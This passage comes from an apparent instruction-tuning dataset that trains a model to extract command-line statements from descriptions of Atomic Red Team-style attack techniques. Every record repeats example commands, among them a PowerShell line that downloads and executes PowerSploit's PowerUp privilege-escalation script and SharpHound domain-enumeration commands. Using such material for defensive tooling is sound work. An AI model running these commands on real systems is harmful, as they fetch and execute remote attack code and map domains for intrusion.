\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copies and deletes mail data on Linux\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Download a remote file using the whois utility\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This task recreates the steps taken by BlackByte ransomware before it worms to other machines.  See \"Preparing to Worm\" section: https://redcanary.com/blog/blackbyte-ransomware/\nThe steps are as follows:\n<ol>\n    <li>1. Elevate Local Privilege by disabling UAC Remote Restrictions</li>\n    <li>2. Enable OS to share network connections between different privilege levels</li>\n    <li>3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths</li>\n</ol>\nThe registry keys and their respective values will be created upon successful execution.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. \n[Reference](https://unit42.paloaltonetworks.com/muddled-libra/)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 